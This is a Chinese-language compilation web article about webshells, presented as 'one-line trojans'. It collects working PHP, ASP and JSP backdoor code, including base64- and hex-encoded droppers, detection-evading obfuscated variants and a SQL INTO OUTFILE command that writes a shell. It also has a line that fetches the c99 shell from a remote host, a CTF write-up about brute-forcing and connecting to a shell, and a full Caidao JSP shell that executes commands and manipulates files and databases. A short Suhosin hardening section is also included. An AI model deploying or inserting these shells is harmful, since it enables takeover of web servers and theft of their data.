此处将为大家介绍关于PHP结合SQL语句写一句话木马的详细内容,并且为您解答有关phpsql语句的相关问题,此外,我们还将为您介绍关于asp,php一句话木马整理方便查找木马、CTF-PHP一句话木马
此处将为大家介绍关于PHP结合SQL语句写一句话木马的详细内容,并且为您解答有关php sql语句的相关问题,此外,我们还将为您介绍关于asp,php一句话木马整理方便查找木马、CTF-PHP一句话木马、eval函数简介与PHP一句话木马剖析、jsp一句话木马的有用信息。
本文目录一览:PHP结合SQL语句写一句话木马(php sql语句)
一、基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来:
1 <?PHP @eval($_GET["code"])?> 2 <?PHP @system($_POST["cmd"])?>
相信一目了然可以看懂如何使用这类一句话。参考博主(https://www.cnblogs.com/KevinGeorge/)的博文
二、编码的替换的类型:
1 <?PHP @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?> 2 //会生成<?PHP @eval($_POST['lostwolf']);?> 3 4 <script language="PHP">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script> 5 //PHP在html内部的一种嵌入方式 6 7 <?PHP fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?> 8 9 10 <?PHP 11 session_start(); 12 $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); 13 $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>
三、乱七八糟类型的:
1 <?PHP $_GET[a]($_GET[b]);?> 2 //?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 3 <?PHP assert($_REQUEST["c"]);?> //菜刀连接 躲避检测 密码c 4 <?PHP substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?> 5 //菜刀提交 http://192.168.1.5/x.PHP?x=lostwolf 脚本类型:PHP 密码为 c
四、下载类型的:
1 <?PHP echo copy("http://www.r57.me/c99.txt","lostwolf.PHP"); ?> 2 3 <? echo file_get_contents("..//cfg_database.PHP");?> //显示某文件 4 5 <? eval ( file_get_contents("远程shell")) ?> //运行远程shell
五、无关键函数类型:
1 <?PHP 2 $_=""; 3 $_[+""]=''; 4 $_="$_".""; 5 $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); 6 ?> 7 <?PHP ${'_'.$_}['_'](${'_'.$_}['__']);?> 8 http://site/2.PHP?_=assert&__=eval($_POST['pass']) 密码是pass 9 10 <?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
六、补充知识点:
sql写一句话(MysqL)
1 select "<?PHP @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.PHP" 2 #前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以
asp,php一句话木马整理方便查找木马
特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢
asp一句话木马
文件常见内容
<%If Request("#")<>"" Then Execute(Request("#"))%>
execute(request("#"));
eval(request("#"));
php一句话木马
<?@include($_POST["jb51"]);?>
<?php eval($_POST[cmd])?>
- PHP与SQL语句写一句话木马总结
- php eval函数一句话木马代码
- 一句话木马的原理及利用分析(asp,aspx,php,jsp)
- php一句话cmdshell新型 (非一句话木马)
- PHP Web木马扫描器代码分享
- php木马webshell扫描器代码
- PHP Web木马扫描器代码 v1.0 安全测试工具
- 精确查找PHP WEBSHELL木马的方法(1)
- Ha0k 0.3 PHP 网页木马修改版
- PHP 木马攻击的防御设置方法
- 全世界最小的php网页木马一枚 附PHP木马的防范方法
- php一句话木马变形技巧
CTF-PHP一句话木马
首先看一下题目
他是提示让你输入一个4位数的密码
使用burp进行密码爆破
我们使用burp来自动生成一个所有以4位数组成的密码
经过一段时间的爆破发现他的返回值都为192个字节,无法区别正确的密码。
寻求大佬的求助得知,遇到这种情况时,在burp的intruder 选项中有个Grep-Extract 模块可以提取错误的返回包,从而得知正确的密码。
现在就可以找到正确的密码了
使用菜刀连接木马
因题意得知他是一个一句话木马题目,所以我们尝试使用菜刀连接该页面,密码为爆破出来的5276密码。
连接成功
接下来信息收集一下找到了他的数据库用户和密码
使用数据库管理工具,配置数据库,连接到该数据库。
在数据库中找到了ctf表 但是无法查看该表中数据。
提取Flag
编写查询语句后成功得到flag (查询语句为:SELECT * FROM flag)
原文出处:https://www.cnblogs.com/xyongsec/p/11818202.html
eval函数简介与PHP一句话木马剖析
eval函数简介与PHP一句话木马剖析 大家好我是Carol,我的QQ是:906871417 一:eval函数 1. eval() 函数把字符串按照 PHP 代码来计算。 2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3. 如果没有在代码字符串中调用 return 语句,则返回 NULL 。如果
eval函数简介与PHP一句话木马剖析
大家好我是Carol,我的QQ是:906871417
一:eval函数
1.eval() 函数把字符串按照 PHP 代码来计算。
2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
二:eval函数的一般用法
$string = "beautiful";
$time = "winter";
$str = ''This is a $string $time morning!'';
echo $str. "
";
eval("\$str = \"$str\";");
echo $str;
?>
输出
This is a $string $time morning!
This is a beautiful winter morning!
三:eval函数的特殊用法
eval($_GET["cmd"]);
四:php一句话挂马的原理
1.通过数据库写马:
select "" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DB和web在同一台机器的时候可以这样执行
2.通过web写马
eval($_GET["cmd"]);
?>
访问:
http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();
查看当前运行的服务
http://localhost/aa.php?cmd=system("net start");
五:禁用eval函数
无论是linux服务器还是windows服务器,eval命令是非常危险的
如何禁用eval命令
在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin
linux下安装:
php的安装就不写了
suhosin的安装
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvfsuhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //这一步不能省
./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。
make
make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然后在php.ini中增加一行下列语句。
extension=suhosin.so
suhosin.executor.disable_eval = on
参考文档: http://ju.outofmemory.cn/entry/29300
jsp一句话木马
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
关于PHP结合SQL语句写一句话木马和php sql语句的介绍现已完结,谢谢您的耐心阅读,如果想了解更多关于asp,php一句话木马整理方便查找木马、CTF-PHP一句话木马、eval函数简介与PHP一句话木马剖析、jsp一句话木马的相关知识,请在本站寻找。
本文标签: